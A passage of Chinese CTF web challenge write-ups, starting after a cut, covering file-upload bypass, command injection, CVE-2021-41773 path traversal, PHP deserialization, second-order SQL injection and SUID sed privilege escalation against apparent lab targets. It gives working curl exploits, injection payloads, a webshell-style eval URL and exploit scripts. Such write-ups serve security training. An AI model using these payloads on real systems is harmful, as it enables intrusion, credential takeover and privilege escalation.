弱类型比较,直接传入?num=12345a
即可
[WUSTCTF 2020]CV Maker
文件上传之文件头绕过
进入题目,注册账号
可以发现存在一个文件上传的点
随便上传个图片马,回显”exif_imagetype not image!”
意思是会检测文件头是否为图片
那我们就加上个GIF89a的魔术文件头传马即可
抓包得到上传文件的路径
命令执行即可,flag在phpinfo里
[NSSRound#7 Team]ec_RCE
命令注入
<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);
putenv('LANG=zh_TW.utf8');
$action = $_POST["action"];
$data = "'".$_POST["data"]."'";
$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>
很明显下面的shell_exec
存在命令注入,我们只需要在action处加上管道符截断前面的语句,在data处写入我们要执行的命令
本地测试一下几种管道符的作用
pwd;ls
pwd|ls
pwd||ls
那我们在action用;
来闭合前面的命令,然后在data命令执行,注:data这里用了引号包裹,我们需要先用引号闭合再执行我们的命令
payload:
action=;&data='cat /flag'
[GFCTF 2021]Baby_Web
CVE-2021-41773+代码审计+无回显rce
这题审了足足两个小时。。。
进入题目,f12发现提示:“源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?”
查看题目环境版本为Apache/2.4.49 (Unix) PHP/7.3.31-1~deb10u1
很明显存在CVE-2021-41773
尝试读取
curl -v --path-as-is http://node4.anna.nssctf.cn:28681/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
返回403,尝试cgi目录
curl -v --path-as-is http://node4.anna.nssctf.cn:28681/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
成功读取,那么直接读/var/www/xxx.php.txt
,注:这里的xxx是要自己猜的
先读index.php.txt
curl -v --path-as-is http://node4.anna.nssctf.cn:28681/cgi-bin/.%2e/.%2e/.%2e/.%2e/var/www/index.php.txt
<h1>Welcome To GFCTF 12th!!</h1>
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>
这里会实例化Temp类对象并向构造方法和display方法传参
同时发现Class.php,读一手
<?php
defined('main') or die("no!!");
class Temp
{
private $date = ['version' => '1.0', 'img' => 'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data)
{
$this->date = array_merge($this->date, $data);
}
public function getTempName($template, $dir)
{
if ($dir === 'admin') {
$this->template = str_replace('..', '', './template/admin/' . $template);
if (!is_file($this->template)) {
die("no!!");
}
} else {
$this->template = './template/index.html';
}
}
public function display($template, $space = '')
{
extract($this->date);
$this->getTempName($template, $space);
include($this->template);
}
public function listdata($_params)
{
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list', 'function'])) {
$params[0] = 'action=' . $params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
} else {
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}
先看构造方法
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
}
array_merge函数
array_merge($arr1,$arr2)
- 合并一个或多个数组,合并后参数2数组的内容附加在参数1之后。
- 同时如果参数1、2数组中有相同的字符串键名,则合并后为参数2数组中对应键的值,会发生覆盖。注:即造成变量覆盖
- 然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。
- 如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。
demo:
<?php
$array1 = array("color" => "red", 2, 4);
$array2 = array("a", "b", "color" => "green", "shape" => "trapezoid", 4);
$result = array_merge($array1, $array2);
print_r($result);
?>
输出
Array
(
[color] => green
[0] => 2
[1] => 4
[2] => a
[3] => b
[shape] => trapezoid
[4] => 4
)
代码审计部分
然后看display方法
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
一眼extract变量覆盖和include文件包含,跟踪到getTempName方法
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = ('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
检查传入getTempName()方法的形参$dir
值是否为admin,是的话就进行字符串的拼接与替换,然后检查是否为文件
这里的str_replace替换语句明显是过滤了文件包含目录穿越的方法,所以我们还需要寻找别的利用点
注意到这个方法里提到了两个路由,尝试访问一下,其中/template/index.html返回404,/template/admin/成功返回一段php代码,ctrl+u查看一下
<!--<img src="<?php echo $img;?>">-->
<div><?php echo $this->listdata("action=list module=$mod");?><div>
<h6>version: <?php echo $version;?></h6>
在这里调用了listdata方法,跟踪过去
public function listdata($_params)
{
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list', 'function'])) {
$params[0] = 'action=' . $params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
} else {
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
一眼发现命令执行的函数
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
那么我们的目标就是最后触发$rt = call_user_func_array('system', '命令');
,即$param['name']=system
,$p=命令
现在往回推看switch语句
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
} else {
return null;
}
case 'list':
return json_encode($this->date);
}
我们要让$system['action']
为function,而在/template/admin/路由下这个参数传入的已经写死了是list
然后让$param['name']
存在且是函数,这个是已经能够满足了的条件
接着是$force
即$param['force']
为false,也就是传入的值要为0或者false
接下来就是重点的foreach
语句,首先要求传入的键名中开头必须是param,然后会截取param后面的字符串并用intval
取整,把取整后的值作为$p
的索引,其值为传入的键值。而要实现$p=命令
,我们就需要让$p[0]=命令
(下标不一定要为0,只要是正整数即可);要让$n=0
,就需要用到intval函数的特性,intval("0xxxxx")==0
,所以这里最后要传入param0xxxxx = 命令
switch语句的内容就这些,继续向上看前一段if语句,中间的foreach语句我们用不上
$param = $where = [];
$_params = trim($_params); //删除两侧多余的空格
$params = explode(' ', $_params); //以空格分隔成数组
if (in_array($params[0], ['list', 'function'])) {
$params[0] = 'action=' . $params[0];
}
如果$params
数组第一个元素是'list'
或者'function'
,就把$params
数组第一个元素的内容,前面加上一个字符串action=
所以我们的$params
数组中的元素一般应该为$params=["function","name=system","force=false","param0xxxxx=命令"]
,这里把function放在了第一个元素,当然,我们也可以直接指定$params=["action=function","name=system","force=false","param0xxxxx=命令"]
,这样子这个数组中function的位置就可以是任意的
但是,我们上面已经分析过,/template/admin/路由下action参数已经写死了是list,我们可控的只有$mod
,因为传参一定会带有一个前缀,所以我们无法控制$_params
字符串分割成的数组$params
的第一个元素是"function"
,第一个元素只会是action=list
。所以,上面的$params
数组中的元素只能直接指定为后者$params=["action=function","name=system","force=false","param0xxxxx=命令"]
那么listdata方法的部分就到此为止
要调用listdata方法,我们就需要进入template/admin/
这个路由,可以在前面display方法中include($this->template);
包含这个路由,即$this->template = template/admin/
而要改变$this->template
,我们就需要回到getTempName
方法,目的是执行$this->template = str_replace('..','','./template/admin/'.$template);
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = ('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
那么就要让getTempName方法的形参$dir = admin
,接着是要求拼接后的结果必须是一个文件,template/admin/
只是一个路由,我们需要访问默认的页面文件template/admin/index.html
,所以传入getTempName方法的形参$template = index.html
但是getTempName($template,$dir)
方法的形参来源于display()
方法的方法内变量(也可以叫属性)$template
和$space
。而这两个属性在方法内是不存在的,要使这两个属性存在且有我们需要的值,需要执行extract($this->date);
语句,从数组中将变量导入到当前的符号表即可
注意,此时我们还没有传入$mod
参数的值,而listdata()
方法是在display()
方法中被包含并且调用的,所以$this->date
就应该为['template'=>'index.html','space'=>'admin','mod'=>'0w0 action=function name=system force=false param0xxxxx=命令']
那么构造我们的payload:
在最开始的index.php中,get传入参数filename给构造方法,所以我们可以直接传index.html
先读phpinfo,其实flag也在这里,注:此时调用的是call_user_func
GET
?filename=index.html
POST
space=admin&mod=0w0 action=function force=0 name=phpinfo
发现禁用了大量命令执行的函数,但是还留了个exec
那么就是无回显rce了,直接写入文件外带,注意命令这里空格要用${IFS}
以防被上面的trim和explode操作删掉
GET
?filename=index.html
POST
space=admin&mod=0w0 action=function force=0 name=exec param0xxx=ls${IFS}/>1
[HZNUCTF 2023 preliminary]ppppop
反序列化
进入题目,啥都没有,在响应头处发现Set-Cookie:user=Tzo0OiJVc2VyIjoxOntzOjc6ImlzQWRtaW4iO2I6MDt9
base64解码得到O:4:"User":1:{s:7:"isAdmin";b:0;}
尝试把其中的0改成1再base64编码回去传cookie,得到源码
<?php
error_reporting(0);
include('utils.php');
class A {
public $className;
public $funcName;
public $args;
public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}
if(checkUser()) {
highlight_file(__FILE__);
$payload = strrev(base64_decode($_POST['payload']));
unserialize($payload);
}
简单的反序列化操作触发__call
从而命令执行,然后注意底下传payload要先反转后编码
exp:
<?php
class A {
public $className="B";
public $funcName="system";
public $args="env";
public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}
$a=new A();
echo base64_encode(strrev(serialize($a)));
flag在环境变量里
[HZNUCTF 2023 preliminary]guessguessguess
命令执行
给了一个看似是sql注入的框,下面给出了sql语句
SELECT * FROM users WHERE id=
尝试输入hint,发现我们输入的内容会做反转处理
那么输入tnih,回显“可爱的CTFer哟,你掉的是这个金”命令执行”,还是这个银”XSS”还是这个普通的”SQL注入”呢?”
这题最炸裂的地方就是这里不是xss,也不是sql注入,而是命令执行,还是ping的命令注入
payload:
sl|1.0.0.721
index.php
<?php
$userArr = array("username: admin<br>password: admin","username: docker<br>password: docker", "username: mxx307<br>password: mxxxxxxx3333000777", "username: FLAG_IN_HERE<br>password: 不给你看");
$cmd = strrev($_POST['cmd']);
if($cmd != 'hint' && $cmd != 'phpinfo'){
echo "your SQL: SELECT * FROM users WHERE id=$cmd";
echo "<br>";
}
if($cmd == "phpinfo") {
eval('phpinfo();');
} else if(preg_match('/127.0.0.1/',$cmd) && !preg_match('/;|&/',$cmd )) {
system('ping '.$cmd);
} else if($cmd == "hint") {
echo '可爱的CTFer哟,你掉的是这个金"命令执行",还是这个银"XSS"还是这个普通的"SQL注入"呢?';
}else if(preg_match('/^\d$/',$cmd, $matches)) {
if($matches[0] <= 4 && $matches[0] >= 1){
echo $userArr[$matches[0] - 1];
} else {
echo "no user";
}
}else {
echo "猜猜猜";
}
flag在环境变量,直接输ofniphp
就行了
[湖湘杯 2021 final]Penetratable
二次注入+md5强比较+sed提权
进入题目,有一个登录注册的界面,url带着参数?id,猜测存在sql注入
测试了一下id=1和id=2,分别回显I’m root和I’m admin
先扫一下看看有没有什么信息泄露
几个泄露的路由都看了一下,发现只有static/req.js下存在与登录注册相关的代码,貌似没找到什么有价值的东西
function login(){
let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(0).val()))
let pass=hex_md5($(".form-floating>input").eq(1).val())
$.ajax({
url: '/?c=app&m=login',
type: 'post',
data: 'name=' + name+'&pass=' + pass,
// async:true,
dataType: 'text',
success: function(data){
let res=$.parseJSON(data);
if (res['login']){
switch (res['type']){
case 'user': location.href="/?c=user"; break;
case 'admin': location.href="/?c=admin"; break;
case 'root': location.href="/?c=root"; break;
}
}else if(res['alertFlag']){
alert(res['alertData']);
}
}
});
}
function userUpdateInfo(){
let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
$.ajax({
url: '/?c=user&m=updateUserInfo',
type: 'post',
data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// async:true,
dataType: 'text',
success: function(data){
alertHandle(data);
}
});
}
function signOut(){
$.ajax({
url: '/?c=app&m=signOut',
type: 'get',
dataType: 'text',
success: function(data){
alertHandle(data);
}
});
}
function alertHandle(data){
let res=$.parseJSON(data);
if(res['alertFlag']){
alert(res['alertData']);
}
if(res['location']){
location.href=res['location'];
}
}
function changeAdminPage(type){
let page=$('.page').text();
if (type=='next'){
location.href='?c=admin&m=getUserList&page='+(parseInt(page)+1);
}
if (type=='last'){
location.href='?c=admin&m=getUserList&page='+(parseInt(page)-1);
}
}
function changeRootPage(type){
let page=$('.page').text();
if (type=='next'){
location.href='?c=root&m=getUserInfo&page='+(parseInt(page)+1);
}
if (type=='last'){
location.href='?c=root&m=getUserInfo&page='+(parseInt(page)-1);
}
}
function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}
function adminHome(){
location.href='/?c=root'
}
function getUserInfo(){
location.href='/?c=root&m=getUserInfo'
}
function getLogList(){
location.href='/?c=root&m=getLogList'
}
function downloadLog(filename){
location.href='/?c=root&m=downloadRequestLog&filename='+filename;
}
function register(){
let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(2).val()))
let pass=hex_md5($(".form-floating>input").eq(3).val())
let saying=encodeURIComponent(Base64.encode($(".form-floating>input").eq(4).val()))
$.ajax({
url: '/?c=app&m=register',
type: 'post',
data: 'name=' + name+'&pass=' + pass +'&saying=' +saying,
dataType: 'text',
success: function(data){
// console.log(data);
alertHandle(data);
}
});
回到登录注册界面,先注册一个账号试试,登录后发现可以修改密码
这个时候就可以猜测能否通过二次注入的方式登录admin或者root账号,然后修改密码
二次注入
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入
原理:from https://www.freebuf.com/articles/web/167089.html
在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
大概的意思就是我们在注册的时候输入的sql注入语句会被转义,但是因为提供了例如修改密码之类的功能,会取出我们注入的语句,这样如果在存回数据库的时候没有再次转义,那么就会造成sql二次注入
这题就是这样,我们去注册一个用户名为admin"#
,密码为1的账号并登录(测试发现是双引号闭合)
成功注入成能修改admin账户的密码
那么修改admin的密码,原密码还是我们admin"#
的密码,然后返回,登录admin成功
在admin账户下除了能找到user的信息以外没有其他有价值的东西,应该是要登录root
那么同样的,我们注册一个root"#
来修改密码
但是提示我们没有权限,抓包看到这里的参数,猜测和之前看到的req.js源码有关,回去看看相关的源码
function userUpdateInfo(){
let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
$.ajax({
url: '/?c=user&m=updateUserInfo',
type: 'post',
data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// async:true,
dataType: 'text',
success: function(data){
alertHandle(data);
}
});
}
function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}
看上去userUpdateInfo方法只能修改user的密码,而被注释的updatePass方法中url为/?c=admin&m=updatePass
,猜测是要用admin账户来修改root的密码
那么抓包访问对应路由进行注入,注:从上面的代码可以知道我们对参数的输入都需要经过base64编码,而且密码还要先经过一次md5加密
可以用一下别人已经写好的脚本,password用的是admin的密码,pass2是你要修改root的密码
import base64
from hashlib import md5
import requests
url1="http://node4.anna.nssctf.cn:28937/?c=app&m=login"
name=base64.b64encode('admin'.encode('utf-8')).decode()
password = md5(b'123456').hexdigest()
pass2=md5(b'root').hexdigest()
url2="http://node4.anna.nssctf.cn:28937?c=admin&m=updatePass"
name2=base64.b64encode('root'.encode('utf-8')).decode()
sess=requests.session()
res1=sess.post(url=url1,data={"name":name,"pass":password});
print(res1.text)
res2=sess.post(url=url2,data={"name":name2,
"newPass":pass2,
"oldPass":password,
"saying":"yes"})
print(res2.text)
然后成功登录,发现一个能够下载日志的功能
点击下载,抓包发现一个任意文件下载的参数filename
任意文件下载
结合我们前面扫目录扫出来的几个路由,下载phpinfo.php,注意要进行目录穿越
?c=root&m=downloadRequestLog&filename=../../../../var/www/html/phpinfo.php
phpinfo.php
<?php
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>
是md5强比较,直接爆破解密:https://www.somd5.com/
明文为1q2w3e
然后就拿到shell了
flag在根目录下,但是我们好像读不到,连上蚁剑看看
http://node4.anna.nssctf.cn:28468/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[cmd]);
密码cmd
权限不足,看来需要提权
sed提权
先搜索SUID file
find / -type f -perm /4000 2>/dev/null
解释一下:
- 首先在根目录下查找普通文档
- 查找系统所有文件中拥有suid特殊权限的文件
- 2表示标准错误流
- “>”符号称为文件重定向运算符。其目的是将左侧的内容定向到右侧的命令
- 将错误信息丢到
/dev/null
文件中,即不显示目前权限不够的信息
然后翻GTFOBins找对应的提权方法:https://gtfobins.github.io/
测试发现环境中没有sudo,只有sed命令的提权方式能用
读flag即可
sed '' "/flag"